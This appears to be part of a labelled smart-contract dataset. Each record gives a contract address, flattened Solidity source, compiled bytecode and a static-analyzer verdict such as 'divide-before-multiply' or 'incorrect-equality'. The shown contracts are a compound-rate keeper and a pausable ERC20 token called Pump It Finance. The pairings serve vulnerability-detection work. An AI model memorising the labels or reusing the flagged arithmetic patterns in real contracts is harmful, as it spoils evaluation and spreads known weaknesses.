83018461226d565b95945050505050565b6000602082019050818103600083015261288181846122cc565b905092915050565b600060208201905081810360008301526128a38184612293565b905092915050565b600060208201905081810360008301526128c481612305565b9050919050565b600060208201905081810360008301526128e4816123ab565b9050919050565b6000602082019050818103600083015261290481612411565b9050919050565b6000602082019050818103600083015261292481612503565b9050919050565b60006020820190508181036000830152612944816125cf565b9050919050565b6000602082019050818103600083015261296481612635565b9050919050565b6000602082019050612980600083018461269b565b92915050565b600060208201905061299b60008301846126aa565b92915050565b60006040820190506129b660008301856126aa565b6129c360208301846126d7565b9392505050565b60006020820190506129df60008301846126b9565b92915050565b60006020820190506129fa60008301846126c8565b92915050565b6000602082019050612a1560008301846126d7565b92915050565b6000604082019050612a3060008301856126c8565b612a3d60208301846126c8565b9392505050565b600081519050919050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b6000612a8182612a9e565b9050919050565b60008115159050919050565b6000819050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600063ffffffff82169050919050565b600060ff82169050919050565b60006bffffffffffffffffffffffff82169050919050565b6000612b0882612ae5565b9050919050565b60005b83811015612b2d578082015181840152602081019050612b12565b83811115612b3c576000848401525b50505050565b6000819050919050565b6000601f19601f8301169050919050565b612b6681612a76565b8114612b7157600080fd5b50565b612b7d81612a94565b8114612b8857600080fd5b50565b612b9481612abe565b8114612b9f57600080fd5b50565b612bab81612ac8565b8114612bb657600080fd5b50565b612bc281612ad8565b8114612bcd57600080fd5b5056fe4d757369633a3a617070726f76653a20616d6f756e74206578636565647320393620626974734d757369633a3a7472616e7366657246726f6d3a207472616e7366657220616d6f756e742065786365656473207370656e64657220616c6c6f77616e63654d757369633a3a7472616e736665723a20616d6f756e74206578636565647320393620626974734d757369633a3a5f6d6f7665566f7465733a20766f746520616d6f756e7420756e646572666c6f77734d757369633a3a5f6d6f7665566f7465733a20766f746520616d6f756e74206f766572666c6f77734d757369633a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e74206f766572666c6f77734d757369633a3a5f7772697465436865636b706f696e743a20626c6f636b206e756d626572206578636565647320333220626974734d757369633a3a5f7472616e73666572546f6b656e733a207472616e7366657220616d6f756e7420657863656564732062616c616e6365a365627a7a723158208ed7b2ffb712de2de1c55b3a8af9214730a29d12aab2ace815d70a2abce084b96c6578706572696d656e74616cf564736f6c63430005100040
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}]}}
1,226
0xc70cf3982da131d5b8e3dcbb22672eecf229239d
pragma solidity ^0.7.0; library DSMath { /// @dev github.com/makerdao/dss implementation /// of exponentiation by squaring //  nth power of x mod b function rpow(uint x, uint n, uint b) internal pure returns (uint z) { assembly { switch x case 0 {switch n case 0 {z := b} default {z := 0}} default { switch mod(n, 2) case 0 { z := b } default { z := x } let half := div(b, 2) // for rounding. for { n := div(n, 2) } n { n := div(n,2) } { let xx := mul(x, x) if iszero(eq(div(xx, x), x)) { revert(0,0) } let xxRound := add(xx, half) if lt(xxRound, xx) { revert(0,0) } x := div(xxRound, b) if mod(n,2) { let zx := mul(z, x) if and(iszero(iszero(x)), iszero(eq(div(zx, x), z))) { revert(0,0) } let zxRound := add(zx, half) if lt(zxRound, zx) { revert(0,0) } z := div(zxRound, b) } } } } } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691 return msg.data; } } abstract contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } /** * @dev Leaves the contract without owner. It will not be possible to call * `onlyOwner` functions anymore. Can only be called by the current owner. * * NOTE: Renouncing ownership will leave the contract without an owner, * thereby removing any functionality that is only available to the owner. */ function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to {approve}. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } contract CompoundRateKeeper is Ownable { using SafeMath for uint256; struct CompoundRate { uint256 rate; uint256 lastUpdate; } CompoundRate public compoundRate; constructor () { compoundRate.rate = 1 * 10 ** 27; compoundRate.lastUpdate = block.timestamp; } function getCurrentRate() view external returns(uint256) { return compoundRate.rate; } function getLastUpdate() view external returns(uint256) { return compoundRate.lastUpdate; } function update(uint256 _interestRate) external onlyOwner returns(uint256) { uint256 _decimal = 10 ** 27; uint256 _period = (block.timestamp).sub(compoundRate.lastUpdate); uint256 _newRate = compoundRate.rate .mul(DSMath.rpow(_interestRate.add(_decimal), _period, _decimal)).div(_decimal); compoundRate.rate = _newRate; compoundRate.lastUpdate = block.timestamp; return _newRate; } } interface IEpanStaking { /** * @notice Update compound rate */ function updateCompoundRate() external; /** * @notice Update compound rate timeframe */ function updateCompoundRateTimeframe() external; /** * @notice Update both compound rates */ function updateCompoundRates() external; /** * @notice Update compound rate and stake tokens to user balance * @param _amount Amount to stake * @param _isTimeframe If true, stake to timeframe structure */ function updateCompoundAndStake(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Update compound rate and withdraw tokens from contract * @param _amount Amount to stake * @param _isTimeframe If true, withdraw from timeframe structure */ function updateCompoundAndWithdraw(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Stake tokens to user balance * @param _amount Amount to stake * @param _isTimeframe If true, stake to timeframe structure */ function stake(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Withdraw tokens from user balance. Only for timeframe stake * @param _amount Amount to withdraw * @param _isTimeframe If true, withdraws from timeframe structure */ function withdraw(uint256 _amount, bool _isTimeframe) external returns (bool); /** * @notice Returns the staking balance of the user * @param _isTimeframe If true, return balance from timeframe structure */ function getBalance(bool _isTimeframe) external view returns (uint256); /** * @notice Set interest rate */ function setInterestRate(uint256 _newInterestRate) external; /** * @notice Set interest rate timeframe * @param _newInterestRate New interest rate */ function setInterestRateTimeframe(uint256 _newInterestRate) external; /** * @notice Set interest rates * @param _newInterestRateTimeframe New interest rate timeframe */ function setInterestRates(uint256 _newInterestRate, uint256 _newInterestRateTimeframe) external; /** * @notice Add tokens to contract address to be spent as rewards * @param _amount Token amount that will be added to contract as reward */ function supplyRewardPool(uint256 _amount) external returns (bool); /** * @notice Get reward amount for sender address * @param _isTimeframe If timeframe, calculate reward for user from timeframe structure */ function getRewardAmount(bool _isTimeframe) external view returns (uint256); /** * @notice Get coefficient. Tokens on the contract / reward to be paid */ function monitorSecurityMargin() external view returns (uint256); }
0x608060405234801561001057600080fd5b506004361061007d5760003560e01c806382ab890a1161005b57806382ab890a146100cf5780638da5cb5b14610111578063f2fde38b14610145578063f7fb07b0146101895761007d565b80634c89867f1461008257806366425d36146100a0578063715018a6146100c5575b600080fd5b61008a6101a7565b6040518082815260200191505060405180910390f35b6100a86101b3565b604051808381526020018281526020019250505060405180910390f35b6100cd6101c5565b005b6100fb600480360360208110156100e557600080fd5b810190808035906020019092919050505061034b565b6040518082815260200191505060405180910390f35b6101196104a9565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6101876004803603602081101561015b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506104d2565b005b6101916106dd565b6040518082815260200191505060405180910390f35b60006001800154905090565b60018060000154908060010154905082565b6101cd6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461028d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60006103556106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610415576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b60006b033b2e3c9fd0803ce80000009050600061043f6001800154426106f290919063ffffffff16565b905060006104898361047b610467610460878a61073c90919063ffffffff16565b86886107c4565b60016000015461088a90919063ffffffff16565b61091090919063ffffffff16565b905080600160000181905550426001800181905550809350505050919050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6104da6106ea565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461059a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260208152602001807f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e657281525060200191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610620576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180610ae16026913960400191505060405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b6000600160000154905090565b600033905090565b600061073483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061095a565b905092915050565b6000808284019050838110156107ba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6000836000811461086a5760028406600081146107e3578592506107e7565b8392505b50600283046002850494505b841561086457858602868782041461080a57600080fd5b8181018181101561081a57600080fd5b8581049750600287061561085757878502858982041415891515161561083f57600080fd5b8381018181101561084f57600080fd5b878104965050505b50506002850494506107f3565b50610882565b836000811461087c5760009250610880565b8392505b505b509392505050565b60008083141561089d576000905061090a565b60008284029050828482816108ae57fe5b0414610905576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b076021913960400191505060405180910390fd5b809150505b92915050565b600061095283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610a1a565b905092915050565b6000838311158290610a07576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156109cc5780820151818401526020810190506109b1565b50505050905090810190601f1680156109f95780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290610ac6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610a8b578082015181840152602081019050610a70565b50505050905090810190601f168015610ab85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581610ad257fe5b04905080915050939250505056fe4f776e61626c653a206e6577206f776e657220697320746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f77a264697066735822122009df7dda844e4d492b14ec04eca8fc79218d9cebd5397aa01099d6ea4a6edd1764736f6c63430007060033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}}
1,227
0xb2d71965efc50ffbf246c2f6e4e399536909925f
pragma solidity ^0.5.0; /***************************************************************************** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. */ library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SafeMath: subtraction overflow"); return a - b; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { require(b > 0, "SafeMath: division by zero"); uint256 c = a / b; return c; } } /***************************************************************************** * @dev Interface of the ERC20 standard as defined in the EIP. Does not include * the optional functions; to access them see `ERC20Detailed`. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through `transferFrom`. This is * zero by default. * * This value changes when `approve` or `transferFrom` are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * > Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an `Approval` event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a `Transfer` event. */ function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); /** * @dev Emitted when `value` tokens are moved from one account (`from`) to * another (`to`). * * Note that `value` may be zero. */ event Transfer(address indexed from, address indexed to, uint256 value); /** * @dev Emitted when the allowance of a `spender` for an `owner` is set by * a call to `approve`. `value` is the new allowance. */ event Approval(address indexed owner, address indexed spender, uint256 value); } /***************************************************************************** * @dev Basic implementation of the `IERC20` interface. */ contract ERC20 is IERC20 { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; /** * @dev See `IERC20.totalSupply`. */ function totalSupply() public view returns (uint256) { return _totalSupply; } /** * @dev See `IERC20.balanceOf`. */ function balanceOf(address account) public view returns (uint256) { return _balances[account]; } /** * @dev See `IERC20.transfer`. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public returns (bool) { _transfer(msg.sender, recipient, amount); return true; } /** * @dev See `IERC20.allowance`. */ function allowance(address owner, address spender) public view returns (uint256) { return _allowances[owner][spender]; } /** * @dev See `IERC20.approve`. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 value) public returns (bool) { _approve(msg.sender, spender, value); return true; } /** * @dev See `IERC20.transferFrom`. * * Emits an `Approval` event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of `ERC20`; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `value`. * - the caller must have allowance for `sender`'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) { _transfer(sender, recipient, amount); _approve(sender, msg.sender, _allowances[sender][msg.sender].sub(amount)); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to `approve` that can be used as a mitigation for * problems described in `IERC20.approve`. * * Emits an `Approval` event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(msg.sender, spender, _allowances[msg.sender][spender].sub(subtractedValue)); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to `transfer`, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a `Transfer` event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _balances[sender] = _balances[sender].sub(amount); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a `Transfer` event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destoys `amount` tokens from `account`, reducing the * total supply. * * Emits a `Transfer` event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 value) internal { require(account != address(0), "ERC20: burn from the zero address"); _totalSupply = _totalSupply.sub(value); _balances[account] = _balances[account].sub(value); emit Transfer(account, address(0), value); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an `Approval` event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 value) internal { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = value; emit Approval(owner, spender, value); } /** * @dev Destoys `amount` tokens from `account`.`amount` is then deducted * from the caller's allowance. * * See `_burn` and `_approve`. */ function _burnFrom(address account, uint256 amount) internal { _burn(account, amount); _approve(account, msg.sender, _allowances[account][msg.sender].sub(amount)); } } /***************************************************************************** * @dev Contract module which provides a basic access control mechanism, where * there is an account (an owner) that can be granted exclusive access to * specific functions. * * This module is used through inheritance. It will make available the modifier * `onlyOwner`, which can be aplied to your functions to restrict their use to * the owner. */ contract Ownable { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () internal { _owner = msg.sender; emit OwnershipTransferred(address(0), _owner); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "Ownable: caller is not the owner"); _; } /** * @dev Returns true if the caller is the current owner. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Paused(); event Unpaused(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() public onlyOwner whenNotPaused { paused = true; emit Paused(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() public onlyOwner whenPaused { paused = false; emit Unpaused(); } } /** * @title Pausable token * @dev ERC20 modified with pausable transfers. **/ contract ERC20Pausable is ERC20, Pausable { function transfer(address to, uint256 value) public whenNotPaused returns (bool) { return super.transfer(to, value); } function transferFrom(address from, address to, uint256 value) public whenNotPaused returns (bool) { return super.transferFrom(from, to, value); } function approve(address spender, uint256 value) public whenNotPaused returns (bool) { return super.approve(spender, value); } function increaseAllowance(address spender, uint addedValue) public whenNotPaused returns (bool success) { return super.increaseAllowance(spender, addedValue); } function decreaseAllowance(address spender, uint subtractedValue) public whenNotPaused returns (bool success) { return super.decreaseAllowance(spender, subtractedValue); } } /***************************************************************************** * @title Pump It Finance * @dev Pump It Finance is an ERC20 implementation of the Pump It Finance ecosystem token. * All tokens are initially pre-assigned to the creator, and can later be distributed * freely using transfer transferFrom and other ERC20 functions. */ contract PumpItFinance is Ownable, ERC20Pausable { string public constant name = "Pump It Finance"; string public constant symbol = "PUMPIT"; uint8 public constant decimals = 18; uint256 public constant initialSupply = 10000*10**uint256(decimals); /** * @dev Constructor that gives msg.sender all of existing tokens. */ constructor () public { _mint(msg.sender, initialSupply); } /** * @dev Destoys `amount` tokens from the caller. * * See `ERC20._burn`. */ function burn(uint256 amount) public { _burn(msg.sender, amount); } /** * @dev See `ERC20._burnFrom`. */ function burnFrom(address account, uint256 amount) public { _burnFrom(account, amount); } event DepositReceived(address indexed from, uint256 value); }
0x608060405234801561001057600080fd5b506004361061012c5760003560e01c806370a08231116100ad57806395d89b411161007157806395d89b4114610345578063a457c2d71461034d578063a9059cbb14610379578063dd62ed3e146103a5578063f2fde38b146103d35761012c565b806370a08231146102bf57806379cc6790146102e55780638456cb59146103115780638da5cb5b146103195780638f32d59b1461033d5761012c565b8063378dc3dc116100f4578063378dc3dc1461025c57806339509351146102645780633f4ba83a1461029057806342966c681461029a5780635c975abb146102b75761012c565b806306fdde0314610131578063095ea7b3146101ae57806318160ddd146101ee57806323b872dd14610208578063313ce5671461023e575b600080fd5b6101396103f9565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561017357818101518382015260200161015b565b50505050905090810190601f1680156101a05780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101da600480360360408110156101c457600080fd5b506001600160a01b038135169060200135610424565b604080519115158252519081900360200190f35b6101f661044f565b60408051918252519081900360200190f35b6101da6004803603606081101561021e57600080fd5b506001600160a01b03813581169160208101359091169060400135610455565b610246610482565b6040805160ff9092168252519081900360200190f35b6101f6610487565b6101da6004803603604081101561027a57600080fd5b506001600160a01b038135169060200135610495565b6102986104b9565b005b610298600480360360208110156102b057600080fd5b5035610560565b6101da61056d565b6101f6600480360360208110156102d557600080fd5b50356001600160a01b031661057d565b610298600480360360408110156102fb57600080fd5b506001600160a01b038135169060200135610598565b6102986105a6565b610321610654565b604080516001600160a01b039092168252519081900360200190f35b6101da610663565b610139610674565b6101da6004803603604081101561036357600080fd5b506001600160a01b038135169060200135610696565b6101da6004803603604081101561038f57600080fd5b506001600160a01b0381351690602001356106ba565b6101f6600480360360408110156103bb57600080fd5b506001600160a01b03813581169160200135166106de565b610298600480360360208110156103e957600080fd5b50356001600160a01b0316610709565b6040518060400160405280600f81526020016e50756d702049742046696e616e636560881b81525081565b600354600090600160a01b900460ff161561043e57600080fd5b6104488383610803565b9392505050565b60025490565b600354600090600160a01b900460ff161561046f57600080fd5b61047a848484610819565b949350505050565b601281565b69021e19e0c9bab240000081565b600354600090600160a01b900460ff16156104af57600080fd5b6104488383610870565b6104c1610663565b610512576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff1661052857600080fd5b6003805460ff60a01b191690556040517fa45f47fdea8a1efdd9029a5691c7f759c32b7c698632b563573e155625d1693390600090a1565b61056a33826108ac565b50565b600354600160a01b900460ff1681565b6001600160a01b031660009081526020819052604090205490565b6105a28282610985565b5050565b6105ae610663565b6105ff576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600354600160a01b900460ff161561061657600080fd5b6003805460ff60a01b1916600160a01b1790556040517f9e87fac88ff661f02d44f95383c817fece4bce600a3dab7a54406878b965e75290600090a1565b6003546001600160a01b031690565b6003546001600160a01b0316331490565b6040518060400160405280600681526020016514155354125560d21b81525081565b600354600090600160a01b900460ff16156106b057600080fd5b61044883836109ca565b600354600090600160a01b900460ff16156106d457600080fd5b6104488383610a06565b6001600160a01b03918216600090815260016020908152604080832093909416825291909152205490565b610711610663565b610762576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6001600160a01b0381166107a75760405162461bcd60e51b8152600401808060200182810382526026815260200180610d1c6026913960400191505060405180910390fd5b6003546040516001600160a01b038084169216907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600090a360